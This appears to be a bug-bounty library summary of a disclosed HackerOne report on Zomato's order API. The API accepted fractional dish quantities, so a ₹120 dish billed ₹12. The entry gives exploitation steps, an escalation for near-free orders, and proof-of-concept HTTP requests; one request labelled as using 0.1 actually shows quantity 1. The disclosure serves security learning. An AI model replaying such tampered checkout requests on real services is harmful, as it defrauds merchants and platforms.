# [www.zomato.com] Tampering with Order Quantity and paying less amount then actual amount, leads to business loss

Zomato order API accepted fractional dish quantity (0.1), so a ₹120 Biryani billed ₹12, letting attackers pay near-nothing for delivered food.

- Payout: hidden
- Severity: high
- Program: Eternal
- Found by: akhil-reni
- Disclosed: 2018-09-17
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/403783
- Library page: https://bugbountylibrary.com/r/h1%3A403783
- Tags: area:web domain:web impact:dos impact:funds-loss kind:bounty platform:hackerone sev:high tech:php technique:fuzzing vuln:business-logic

**Target:** POST /php/o2_handler.php order calculation and makeonlineorder endpoints
**Root cause:** Server trusts client-supplied dish quantity and multiplies unit_cost by it without validating it is a positive integer, so fractional quantities scale the price down.
**Steps:**
1. Add a dish to cart and proceed to checkout, intercepting requests.
2. In the `case=calculatecart` POST to `/php/o2_handler.php`, set `order[dishes][0][quantity]=0.1` (or 0.6 to stay stealthy).
3. In the subsequent `case=makeonlineorder` POST, set the dish `quantity` to the same fractional value in the JSON `order` body.
4. Pay the reduced grand total at the payment gateway; order is delivered if the restaurant doesn't notice.
**How found:** Fuzzing the payment flow on Zomato orders surfaced interesting behaviors; testing decimal quantities in the cart request revealed the price scaled down.
**Exploitation:** Attacker intercepts the cart-calculation and order-placement requests, replaces integer quantity with a decimal like 0.1, and pays the proportionally reduced total (e.g. ₹9.9 for a ₹99 item). Order still gets assigned a delivery executive and delivered.
**Escalation:** Setting quantity to 0.02 allows indefinite near-free orders, tying up all delivery executives in an area and delaying legitimate orders.
**Insight:** When fuzzing cart/checkout flows, try non-integer and negative values for quantity and price fields in both the calculate and commit requests — the two endpoints may validate differently, and the commit endpoint often trusts the client's totals.

## Proof of concept (copied exactly from the original report)

**Cart request with decimal quantity 0.1**

```
POST /php/o2_handler.php HTTP/1.1
Host: www.zomato.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.zomato.com/
content-type: application/x-www-form-urlencoded;charset=UTF-8
origin: https://www.zomato.com
Content-Length: 825
Cookie: <redacted>
Connection: close

████████&order%5Bdishes%5D%5B0%5D%5Btype%5D=dish&order%5Bdishes%5D%5B0%5D%5Bcomment%5D=&order%5Bdishes%5D%5B0%5D%5Bitem_id%5D=481238585&order%5Bdishes%5D%5B0%5D%5Bitem_name%5D=Veg%20Biryani%20%5BRegular%5D&order%5Bdishes%5D%5B0%5D%5Bmrp_item%5D=0&order%5Bdishes%5D%5B0%5D%5Bquantity%5D=1&order%5Bdishes%5D%5B0%5D%5Btags%5D=1&order%5Bdishes%5D%5B0%5D%5Btax_inclusive%5D=0&order%5Bdishes%5D%5B0%5D%5Bunit_cost%5D=120&order%5Bdishes%5D%5B0%5D%5Btotal_cost%5D=120&order%5Bdishes%5D%5B0%5D%5Bis_bogo_active%5D=false&order%5Bdishes%5D%5B0%5D%5BbogoItemsCount%5D=0&order%5Bdishes%5D%5B0%5D%5BalwaysShowOnCheckout%5D=0&order%5Bdishes%5D%5B0%5D%5Bduration_id%5D=0&res_id=███████&address_id=██████&voucher_code=&payment_method_type=&payment_method_id=0&card_bin=&case=calculatecart&csrfToken=███████
```

**Order request with quantity 0.1 and total 22.60**

```
case=makeonlineorder&res_id=█████████&order={"charges":[{"item_name":"Delivery Charge","total_cost":10,"type":"charge","unit_cost":0,"quantity":0,"comment":null,"groups":[],"item_id":0,"mrp_item":0,"tax_inclusive":0,"tags":"","tax_id":0,"id":96623,"display_cost":"â¹10"}],"taxes":[{"item_name":"Taxes","total_cost":0.6,"type":"tax","unit_cost":0,"quantity":0,"comment":null,"groups":[],"item_id":0,"mrp_item":0,"tax_inclusive":0,"tags":"","tax_id":0,"id":0,"display_cost":"â¹0.60"}],"subtotal2":[{"item_name":"Subtotal","total_cost":12,"type":"subtotal2","unit_cost":0,"quantity":0,"comment":null,"groups":[],"item_id":0,"mrp_item":0,"tax_inclusive":0,"tags":"","tax_id":0,"id":0,"display_cost":"â¹12.00"}],"total":[{"item_name":"Grand Total","total_cost":"22.60","type":"total","unit_cost":0,"quantity":0,"comment":null,"groups":[],"item_id":0,"mrp_item":0,"tax_inclusive":0,"tags":"","tax_id":0,"id":0,"display_cost":"â¹22.60"}],"dishes":[{"type":"dish","comment":"","groups":[],"item_id":481238585,"item_name":"Veg Biryani [Regular]","mrp_item":0,"quantity":0.1,"tags":"1","tax_inclusive":0,"unit_cost":120,"total_cost":120,"is_bogo_active":false,"bogoItemsCount":0,"alwaysShowOnCheckout":0,"duration_id":0}]}&██████
```

